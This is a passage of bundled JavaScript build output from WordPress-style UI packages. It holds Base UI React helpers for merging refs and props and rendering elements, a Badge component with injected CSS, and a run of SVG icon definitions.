1696 function useRefWithInit(init2, initArg) {
1697 const ref = React.useRef(UNINITIALIZED);
1698 if (ref.current === UNINITIALIZED) {
1699 ref.current = init2(initArg);
1700 }
1701 return ref;
1702 }
1703
1704 // node_modules/@base-ui/react/esm/utils/useRenderElement.js
1705 var React4 = __toESM(require_react(), 1);
1706
1707 // node_modules/@base-ui/utils/esm/useMergedRefs.js
1708 function useMergedRefs(a2, b2, c6, d2) {
1709 const forkRef = useRefWithInit(createForkRef).current;
1710 if (didChange(forkRef, a2, b2, c6, d2)) {
1711 update(forkRef, [a2, b2, c6, d2]);
1712 }
1713 return forkRef.callback;
1714 }
1715 function useMergedRefsN(refs) {
1716 const forkRef = useRefWithInit(createForkRef).current;
1717 if (didChangeN(forkRef, refs)) {
1718 update(forkRef, refs);
1719 }
1720 return forkRef.callback;
1721 }
1722 function createForkRef() {
1723 return {
1724 callback: null,
1725 cleanup: null,
1726 refs: []
1727 };
1728 }
1729 function didChange(forkRef, a2, b2, c6, d2) {
1730 return forkRef.refs[0] !== a2 || forkRef.refs[1] !== b2 || forkRef.refs[2] !== c6 || forkRef.refs[3] !== d2;
1731 }
1732 function didChangeN(forkRef, newRefs) {
1733 return forkRef.refs.length !== newRefs.length || forkRef.refs.some((ref, index) => ref !== newRefs[index]);
1734 }
1735 function update(forkRef, refs) {
1736 forkRef.refs = refs;
1737 if (refs.every((ref) => ref == null)) {
1738 forkRef.callback = null;
1739 return;
1740 }
1741 forkRef.callback = (instance) => {
1742 if (forkRef.cleanup) {
1743 forkRef.cleanup();
1744 forkRef.cleanup = null;
1745 }
1746 if (instance != null) {
1747 const cleanupCallbacks = Array(refs.length).fill(null);
1748 for (let i2 = 0; i2 < refs.length; i2 += 1) {
1749 const ref = refs[i2];
1750 if (ref == null) {
1751 continue;
1752 }
1753 switch (typeof ref) {
1754 case "function": {
1755 const refCleanup = ref(instance);
1756 if (typeof refCleanup === "function") {
1757 cleanupCallbacks[i2] = refCleanup;
1758 }
1759 break;
1760 }
1761 case "object": {
1762 ref.current = instance;
1763 break;
1764 }
1765 default:
1766 }
1767 }
1768 forkRef.cleanup = () => {
1769 for (let i2 = 0; i2 < refs.length; i2 += 1) {
1770 const ref = refs[i2];
1771 if (ref == null) {
1772 continue;
1773 }
1774 switch (typeof ref) {
1775 case "function": {
1776 const cleanupCallback = cleanupCallbacks[i2];
1777 if (typeof cleanupCallback === "function") {
1778 cleanupCallback();
1779 } else {
1780 ref(null);
1781 }
1782 break;
1783 }
1784 case "object": {
1785 ref.current = null;
1786 break;
1787 }
1788 default:
1789 }
1790 }
1791 };
1792 }
1793 };
1794 }
1795
1796 // node_modules/@base-ui/utils/esm/getReactElementRef.js
1797 var React3 = __toESM(require_react(), 1);
1798
1799 // node_modules/@base-ui/utils/esm/reactVersion.js
1800 var React2 = __toESM(require_react(), 1);
1801 var majorVersion = parseInt(React2.version, 10);
1802 function isReactVersionAtLeast(reactVersionToCheck) {
1803 return majorVersion >= reactVersionToCheck;
1804 }
1805
1806 // node_modules/@base-ui/utils/esm/getReactElementRef.js
1807 function getReactElementRef(element) {
1808 if (!/* @__PURE__ */ React3.isValidElement(element)) {
1809 return null;
1810 }
1811 const reactElement = element;
1812 const propsWithRef = reactElement.props;
1813 return (isReactVersionAtLeast(19) ? propsWithRef?.ref : reactElement.ref) ?? null;
1814 }
1815
1816 // node_modules/@base-ui/utils/esm/mergeObjects.js
1817 function mergeObjects(a2, b2) {
1818 if (a2 && !b2) {
1819 return a2;
1820 }
1821 if (!a2 && b2) {
1822 return b2;
1823 }
1824 if (a2 || b2) {
1825 return {
1826 ...a2,
1827 ...b2
1828 };
1829 }
1830 return void 0;
1831 }
1832
1833 // node_modules/@base-ui/react/esm/utils/getStateAttributesProps.js
1834 function getStateAttributesProps(state, customMapping) {
1835 const props = {};
1836 for (const key in state) {
1837 const value = state[key];
1838 if (customMapping?.hasOwnProperty(key)) {
1839 const customProps = customMapping[key](value);
1840 if (customProps != null) {
1841 Object.assign(props, customProps);
1842 }
1843 continue;
1844 }
1845 if (value === true) {
1846 props[`data-${key.toLowerCase()}`] = "";
1847 } else if (value) {
1848 props[`data-${key.toLowerCase()}`] = value.toString();
1849 }
1850 }
1851 return props;
1852 }
1853
1854 // node_modules/@base-ui/react/esm/utils/resolveClassName.js
1855 function resolveClassName(className, state) {
1856 return typeof className === "function" ? className(state) : className;
1857 }
1858
1859 // node_modules/@base-ui/react/esm/utils/resolveStyle.js
1860 function resolveStyle(style, state) {
1861 return typeof style === "function" ? style(state) : style;
1862 }
1863
1864 // node_modules/@base-ui/react/esm/merge-props/mergeProps.js
1865 var EMPTY_PROPS = {};
1866 function mergeProps(a2, b2, c6, d2, e2) {
1867 let merged = {
1868 ...resolvePropsGetter(a2, EMPTY_PROPS)
1869 };
1870 if (b2) {
1871 merged = mergeOne(merged, b2);
1872 }
1873 if (c6) {
1874 merged = mergeOne(merged, c6);
1875 }
1876 if (d2) {
1877 merged = mergeOne(merged, d2);
1878 }
1879 if (e2) {
1880 merged = mergeOne(merged, e2);
1881 }
1882 return merged;
1883 }
1884 function mergePropsN(props) {
1885 if (props.length === 0) {
1886 return EMPTY_PROPS;
1887 }
1888 if (props.length === 1) {
1889 return resolvePropsGetter(props[0], EMPTY_PROPS);
1890 }
1891 let merged = {
1892 ...resolvePropsGetter(props[0], EMPTY_PROPS)
1893 };
1894 for (let i2 = 1; i2 < props.length; i2 += 1) {
1895 merged = mergeOne(merged, props[i2]);
1896 }
1897 return merged;
1898 }
1899 function mergeOne(merged, inputProps) {
1900 if (isPropsGetter(inputProps)) {
1901 return inputProps(merged);
1902 }
1903 return mutablyMergeInto(merged, inputProps);
1904 }
1905 function mutablyMergeInto(mergedProps, externalProps) {
1906 if (!externalProps) {
1907 return mergedProps;
1908 }
1909 for (const propName in externalProps) {
1910 const externalPropValue = externalProps[propName];
1911 switch (propName) {
1912 case "style": {
1913 mergedProps[propName] = mergeObjects(mergedProps.style, externalPropValue);
1914 break;
1915 }
1916 case "className": {
1917 mergedProps[propName] = mergeClassNames(mergedProps.className, externalPropValue);
1918 break;
1919 }
1920 default: {
1921 if (isEventHandler(propName, externalPropValue)) {
1922 mergedProps[propName] = mergeEventHandlers(mergedProps[propName], externalPropValue);
1923 } else {
1924 mergedProps[propName] = externalPropValue;
1925 }
1926 }
1927 }
1928 }
1929 return mergedProps;
1930 }
1931 function isEventHandler(key, value) {
1932 const code0 = key.charCodeAt(0);
1933 const code1 = key.charCodeAt(1);
1934 const code2 = key.charCodeAt(2);
1935 return code0 === 111 && code1 === 110 && code2 >= 65 && code2 <= 90 && (typeof value === "function" || typeof value === "undefined");
1936 }
1937 function isPropsGetter(inputProps) {
1938 return typeof inputProps === "function";
1939 }
1940 function resolvePropsGetter(inputProps, previousProps) {
1941 if (isPropsGetter(inputProps)) {
1942 return inputProps(previousProps);
1943 }
1944 return inputProps ?? EMPTY_PROPS;
1945 }
1946 function mergeEventHandlers(ourHandler, theirHandler) {
1947 if (!theirHandler) {
1948 return ourHandler;
1949 }
1950 if (!ourHandler) {
1951 return theirHandler;
1952 }
1953 return (event) => {
1954 if (isSyntheticEvent(event)) {
1955 const baseUIEvent = event;
1956 makeEventPreventable(baseUIEvent);
1957 const result2 = theirHandler(baseUIEvent);
1958 if (!baseUIEvent.baseUIHandlerPrevented) {
1959 ourHandler?.(baseUIEvent);
1960 }
1961 return result2;
1962 }
1963 const result = theirHandler(event);
1964 ourHandler?.(event);
1965 return result;
1966 };
1967 }
1968 function makeEventPreventable(event) {
1969 event.preventBaseUIHandler = () => {
1970 event.baseUIHandlerPrevented = true;
1971 };
1972 return event;
1973 }
1974 function mergeClassNames(ourClassName, theirClassName) {
1975 if (theirClassName) {
1976 if (ourClassName) {
1977 return theirClassName + " " + ourClassName;
1978 }
1979 return theirClassName;
1980 }
1981 return ourClassName;
1982 }
1983 function isSyntheticEvent(event) {
1984 return event != null && typeof event === "object" && "nativeEvent" in event;
1985 }
1986
1987 // node_modules/@base-ui/utils/esm/empty.js
1988 var EMPTY_ARRAY2 = Object.freeze([]);
1989 var EMPTY_OBJECT = Object.freeze({});
1990
1991 // node_modules/@base-ui/react/esm/utils/useRenderElement.js
1992 var import_react = __toESM(require_react(), 1);
1993 function useRenderElement(element, componentProps, params = {}) {
1994 const renderProp = componentProps.render;
1995 const outProps = useRenderElementProps(componentProps, params);
1996 if (params.enabled === false) {
1997 return null;
1998 }
1999 const state = params.state ?? EMPTY_OBJECT;
2000 return evaluateRenderProp(element, renderProp, outProps, state);
2001 }
2002 function useRenderElementProps(componentProps, params = {}) {
2003 const {
2004 className: classNameProp,
2005 style: styleProp,
2006 render: renderProp
2007 } = componentProps;
2008 const {
2009 state = EMPTY_OBJECT,
2010 ref,
2011 props,
2012 stateAttributesMapping,
2013 enabled = true
2014 } = params;
2015 const className = enabled ? resolveClassName(classNameProp, state) : void 0;
2016 const style = enabled ? resolveStyle(styleProp, state) : void 0;
2017 const stateProps = enabled ? getStateAttributesProps(state, stateAttributesMapping) : EMPTY_OBJECT;
2018 const outProps = enabled ? mergeObjects(stateProps, Array.isArray(props) ? mergePropsN(props) : props) ?? EMPTY_OBJECT : EMPTY_OBJECT;
2019 if (typeof document !== "undefined") {
2020 if (!enabled) {
2021 useMergedRefs(null, null);
2022 } else if (Array.isArray(ref)) {
2023 outProps.ref = useMergedRefsN([outProps.ref, getReactElementRef(renderProp), ...ref]);
2024 } else {
2025 outProps.ref = useMergedRefs(outProps.ref, getReactElementRef(renderProp), ref);
2026 }
2027 }
2028 if (!enabled) {
2029 return EMPTY_OBJECT;
2030 }
2031 if (className !== void 0) {
2032 outProps.className = mergeClassNames(outProps.className, className);
2033 }
2034 if (style !== void 0) {
2035 outProps.style = mergeObjects(outProps.style, style);
2036 }
2037 return outProps;
2038 }
2039 function evaluateRenderProp(element, render4, props, state) {
2040 if (render4) {
2041 if (typeof render4 === "function") {
2042 return render4(props, state);
2043 }
2044 const mergedProps = mergeProps(props, render4.props);
2045 mergedProps.ref = props.ref;
2046 return /* @__PURE__ */ React4.cloneElement(render4, mergedProps);
2047 }
2048 if (element) {
2049 if (typeof element === "string") {
2050 return renderTag(element, props);
2051 }
2052 }
2053 throw new Error(true ? "Base UI: Render element or function are not defined." : formatErrorMessage(8));
2054 }
2055 function renderTag(Tag, props) {
2056 if (Tag === "button") {
2057 return /* @__PURE__ */ (0, import_react.createElement)("button", {
2058 type: "button",
2059 ...props,
2060 key: props.key
2061 });
2062 }
2063 if (Tag === "img") {
2064 return /* @__PURE__ */ (0, import_react.createElement)("img", {
2065 alt: "",
2066 ...props,
2067 key: props.key
2068 });
2069 }
2070 return /* @__PURE__ */ React4.createElement(Tag, props);
2071 }
2072
2073 // node_modules/@base-ui/react/esm/use-render/useRender.js
2074 function useRender(params) {
2075 return useRenderElement(params.defaultTagName ?? "div", params, params);
2076 }
2077
2078 // packages/ui/build-module/badge/badge.mjs
2079 var import_element3 = __toESM(require_element(), 1);
2080 if (typeof document !== "undefined" && !document.head.querySelector("style[data-wp-hash='244b5c59c0']")) {
2081 const style = document.createElement("style");
2082 style.setAttribute("data-wp-hash", "244b5c59c0");
2083 style.appendChild(document.createTextNode('@layer wp-ui-utilities, wp-ui-components, wp-ui-compositions, wp-ui-overrides;@layer wp-ui-components{._96e6251aad1a6136__badge{border-radius:var(--wpds-border-radius-lg,8px);font-family:var(--wpds-font-family-body,-apple-system,system-ui,"Segoe UI","Roboto","Oxygen-Sans","Ubuntu","Cantarell","Helvetica Neue",sans-serif);font-size:var(--wpds-font-size-sm,12px);font-weight:var(--wpds-font-weight-regular,400);line-height:var(--wpds-font-line-height-xs,16px);padding-block:var(--wpds-dimension-padding-xs,4px);padding-inline:var(--wpds-dimension-padding-sm,8px)}._99f7158cb520f750__is-high-intent{background-color:var(--wpds-color-bg-surface-error,#f6e6e3);color:var(--wpds-color-fg-content-error,#470000)}.c20ebef2365bc8b7__is-medium-intent{background-color:var(--wpds-color-bg-surface-warning,#fde6bd);color:var(--wpds-color-fg-content-warning,#2e1900)}._365e1626c6202e52__is-low-intent{background-color:var(--wpds-color-bg-surface-caution,#fee994);color:var(--wpds-color-fg-content-caution,#281d00)}._33f8198127ddf4ef__is-stable-intent{background-color:var(--wpds-color-bg-surface-success,#c5f7cc);color:var(--wpds-color-fg-content-success,#002900)}._04c1aca8fc449412__is-informational-intent{background-color:var(--wpds-color-bg-surface-info,#deebfa);color:var(--wpds-color-fg-content-info,#001b4f)}._90726e69d495ec19__is-draft-intent{background-color:var(--wpds-color-bg-surface-neutral-weak,#f0f0f0);color:var(--wpds-color-fg-content-neutral,#1e1e1e)}._898f4a544993bd39__is-none-intent{background-color:var(--wpds-color-bg-surface-neutral,#f8f8f8);color:var(--wpds-color-fg-content-neutral-weak,#6d6d6d)}}'));
2084 document.head.appendChild(style);
2085 }
2086 var style_default = { "badge": "_96e6251aad1a6136__badge", "is-high-intent": "_99f7158cb520f750__is-high-intent", "is-medium-intent": "c20ebef2365bc8b7__is-medium-intent", "is-low-intent": "_365e1626c6202e52__is-low-intent", "is-stable-intent": "_33f8198127ddf4ef__is-stable-intent", "is-informational-intent": "_04c1aca8fc449412__is-informational-intent", "is-draft-intent": "_90726e69d495ec19__is-draft-intent", "is-none-intent": "_898f4a544993bd39__is-none-intent" };
2087 var Badge = (0, import_element3.forwardRef)(function Badge2({ children, intent = "none", render: render4, className, ...props }, ref) {
2088 const element = useRender({
2089 render: render4,
2090 defaultTagName: "span",
2091 ref,
2092 props: mergeProps(props, {
2093 className: clsx_default(
2094 style_default.badge,
2095 style_default[`is-${intent}-intent`],
2096 className
2097 ),
2098 children
2099 })
2100 });
2101 return element;
2102 });
2103
2104 // packages/icons/build-module/icon/index.mjs
2105 var import_element4 = __toESM(require_element(), 1);
2106 var icon_default = (0, import_element4.forwardRef)(
2107 ({ icon, size = 24, ...props }, ref) => {
2108 return (0, import_element4.cloneElement)(icon, {
2109 width: size,
2110 height: size,
2111 ...props,
2112 ref
2113 });
2114 }
2115 );
2116
2117 // packages/icons/build-module/library/archive.mjs
2118 var import_primitives = __toESM(require_primitives(), 1);
2119 var import_jsx_runtime2 = __toESM(require_jsx_runtime(), 1);
2120 var archive_default = /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime2.jsx)(import_primitives.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M11.934 7.406a1 1 0 0 0 .914.594H19a.5.5 0 0 1 .5.5v9a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V6a.5.5 0 0 1 .5-.5h5.764a.5.5 0 0 1 .447.276l.723 1.63Zm1.064-1.216a.5.5 0 0 0 .462.31H19a2 2 0 0 1 2 2v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V6a2 2 0 0 1 2-2h5.764a2 2 0 0 1 1.789 1.106l.445 1.084ZM8.5 10.5h7V12h-7v-1.5Zm7 3.5h-7v1.5h7V14Z" }) });
2121
2122 // packages/icons/build-module/library/arrow-down.mjs
2123 var import_primitives2 = __toESM(require_primitives(), 1);
2124 var import_jsx_runtime3 = __toESM(require_jsx_runtime(), 1);
2125 var arrow_down_default = /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime3.jsx)(import_primitives2.Path, { d: "m16.5 13.5-3.7 3.7V4h-1.5v13.2l-3.8-3.7-1 1 5.5 5.6 5.5-5.6z" }) });
2126
2127 // packages/icons/build-module/library/arrow-left.mjs
2128 var import_primitives3 = __toESM(require_primitives(), 1);
2129 var import_jsx_runtime4 = __toESM(require_jsx_runtime(), 1);
2130 var arrow_left_default = /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime4.jsx)(import_primitives3.Path, { d: "M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z" }) });
2131
2132 // packages/icons/build-module/library/arrow-right.mjs
2133 var import_primitives4 = __toESM(require_primitives(), 1);
2134 var import_jsx_runtime5 = __toESM(require_jsx_runtime(), 1);
2135 var arrow_right_default = /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives4.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime5.jsx)(import_primitives4.Path, { d: "m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z" }) });
2136
2137 // packages/icons/build-module/library/arrow-up-left.mjs
2138 var import_primitives5 = __toESM(require_primitives(), 1);
2139 var import_jsx_runtime6 = __toESM(require_jsx_runtime(), 1);
2140 var arrow_up_left_default = /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives5.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime6.jsx)(import_primitives5.Path, { d: "M14 6H6v8h1.5V8.5L17 18l1-1-9.5-9.5H14V6Z" }) });
2141
2142 // packages/icons/build-module/library/arrow-up.mjs
2143 var import_primitives6 = __toESM(require_primitives(), 1);
2144 var import_jsx_runtime7 = __toESM(require_jsx_runtime(), 1);
2145 var arrow_up_default = /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives6.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime7.jsx)(import_primitives6.Path, { d: "M12 3.9 6.5 9.5l1 1 3.8-3.7V20h1.5V6.8l3.7 3.7 1-1z" }) });
2146
2147 // packages/icons/build-module/library/backup.mjs
2148 var import_primitives7 = __toESM(require_primitives(), 1);
2149 var import_jsx_runtime8 = __toESM(require_jsx_runtime(), 1);
2150 var backup_default = /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives7.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime8.jsx)(import_primitives7.Path, { d: "M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z" }) });
2151
2152 // packages/icons/build-module/library/block-meta.mjs
2153 var import_primitives8 = __toESM(require_primitives(), 1);
2154 var import_jsx_runtime9 = __toESM(require_jsx_runtime(), 1);
2155 var block_meta_default = /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives8.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime9.jsx)(import_primitives8.Path, { fillRule: "evenodd", d: "M8.95 11.25H4v1.5h4.95v4.5H13V18c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2v-3c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75h-2.55v-7.5H13V9c0 1.1.9 2 2 2h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2h-3c-1.1 0-2 .9-2 2v.75H8.95v4.5ZM14.5 15v3c0 .3.2.5.5.5h3c.3 0 .5-.2.5-.5v-3c0-.3-.2-.5-.5-.5h-3c-.3 0-.5.2-.5.5Zm0-6V6c0-.3.2-.5.5-.5h3c.3 0 .5.2.5.5v3c0 .3-.2.5-.5.5h-3c-.3 0-.5-.2-.5-.5Z", clipRule: "evenodd" }) });
2156
2157 // packages/icons/build-module/library/block-table.mjs
2158 var import_primitives9 = __toESM(require_primitives(), 1);
2159 var import_jsx_runtime10 = __toESM(require_jsx_runtime(), 1);
2160 var block_table_default = /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives9.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime10.jsx)(import_primitives9.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z" }) });
2161
2162 // packages/icons/build-module/library/calendar.mjs
2163 var import_primitives10 = __toESM(require_primitives(), 1);
2164 var import_jsx_runtime11 = __toESM(require_jsx_runtime(), 1);
2165 var calendar_default = /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives10.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime11.jsx)(import_primitives10.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V7h15v12zM9 10H7v2h2v-2zm0 4H7v2h2v-2zm4-4h-2v2h2v-2zm4 0h-2v2h2v-2zm-4 4h-2v2h2v-2zm4 0h-2v2h2v-2z" }) });
2166
2167 // packages/icons/build-module/library/category.mjs
2168 var import_primitives11 = __toESM(require_primitives(), 1);
2169 var import_jsx_runtime12 = __toESM(require_jsx_runtime(), 1);
2170 var category_default = /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives11.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime12.jsx)(import_primitives11.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z" }) });
2171
2172 // packages/icons/build-module/library/check.mjs
2173 var import_primitives12 = __toESM(require_primitives(), 1);
2174 var import_jsx_runtime13 = __toESM(require_jsx_runtime(), 1);
2175 var check_default = /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives12.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime13.jsx)(import_primitives12.Path, { d: "M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z" }) });
2176
2177 // packages/icons/build-module/library/chevron-down.mjs
2178 var import_primitives13 = __toESM(require_primitives(), 1);
2179 var import_jsx_runtime14 = __toESM(require_jsx_runtime(), 1);
2180 var chevron_down_default = /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives13.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime14.jsx)(import_primitives13.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" }) });
2181
2182 // packages/icons/build-module/library/chevron-left-small.mjs
2183 var import_primitives14 = __toESM(require_primitives(), 1);
2184 var import_jsx_runtime15 = __toESM(require_jsx_runtime(), 1);
2185 var chevron_left_small_default = /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives14.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime15.jsx)(import_primitives14.Path, { d: "m13.1 16-3.4-4 3.4-4 1.1 1-2.6 3 2.6 3-1.1 1z" }) });
2186
2187 // packages/icons/build-module/library/chevron-left.mjs
2188 var import_primitives15 = __toESM(require_primitives(), 1);
2189 var import_jsx_runtime16 = __toESM(require_jsx_runtime(), 1);
2190 var chevron_left_default = /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives15.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime16.jsx)(import_primitives15.Path, { d: "M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z" }) });
2191
2192 // packages/icons/build-module/library/chevron-right-small.mjs
2193 var import_primitives16 = __toESM(require_primitives(), 1);
2194 var import_jsx_runtime17 = __toESM(require_jsx_runtime(), 1);
2195 var chevron_right_small_default = /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives16.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime17.jsx)(import_primitives16.Path, { d: "M10.8622 8.04053L14.2805 12.0286L10.8622 16.0167L9.72327 15.0405L12.3049 12.0286L9.72327 9.01672L10.8622 8.04053Z" }) });
2196
2197 // packages/icons/build-module/library/chevron-right.mjs
2198 var import_primitives17 = __toESM(require_primitives(), 1);
2199 var import_jsx_runtime18 = __toESM(require_jsx_runtime(), 1);
2200 var chevron_right_default = /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives17.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime18.jsx)(import_primitives17.Path, { d: "M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z" }) });
2201
2202 // packages/icons/build-module/library/chevron-up.mjs
2203 var import_primitives18 = __toESM(require_primitives(), 1);
2204 var import_jsx_runtime19 = __toESM(require_jsx_runtime(), 1);
2205 var chevron_up_default = /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives18.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime19.jsx)(import_primitives18.Path, { d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z" }) });
2206
2207 // packages/icons/build-module/library/close-small.mjs
2208 var import_primitives19 = __toESM(require_primitives(), 1);
2209 var import_jsx_runtime20 = __toESM(require_jsx_runtime(), 1);
2210 var close_small_default = /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives19.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime20.jsx)(import_primitives19.Path, { d: "M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z" }) });
2211
2212 // packages/icons/build-module/library/cog.mjs
2213 var import_primitives20 = __toESM(require_primitives(), 1);
2214 var import_jsx_runtime21 = __toESM(require_jsx_runtime(), 1);
2215 var cog_default = /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives20.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime21.jsx)(import_primitives20.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M10.289 4.836A1 1 0 0111.275 4h1.306a1 1 0 01.987.836l.244 1.466c.787.26 1.503.679 2.108 1.218l1.393-.522a1 1 0 011.216.437l.653 1.13a1 1 0 01-.23 1.273l-1.148.944a6.025 6.025 0 010 2.435l1.149.946a1 1 0 01.23 1.272l-.653 1.13a1 1 0 01-1.216.437l-1.394-.522c-.605.54-1.32.958-2.108 1.218l-.244 1.466a1 1 0 01-.987.836h-1.306a1 1 0 01-.986-.836l-.244-1.466a5.995 5.995 0 01-2.108-1.218l-1.394.522a1 1 0 01-1.217-.436l-.653-1.131a1 1 0 01.23-1.272l1.149-.946a6.026 6.026 0 010-2.435l-1.148-.944a1 1 0 01-.23-1.272l.653-1.131a1 1 0 011.217-.437l1.393.522a5.994 5.994 0 012.108-1.218l.244-1.466zM14.929 12a3 3 0 11-6 0 3 3 0 016 0z" }) });
2216
2217 // packages/icons/build-module/library/comment-author-avatar.mjs
2218 var import_primitives21 = __toESM(require_primitives(), 1);
2219 var import_jsx_runtime22 = __toESM(require_jsx_runtime(), 1);
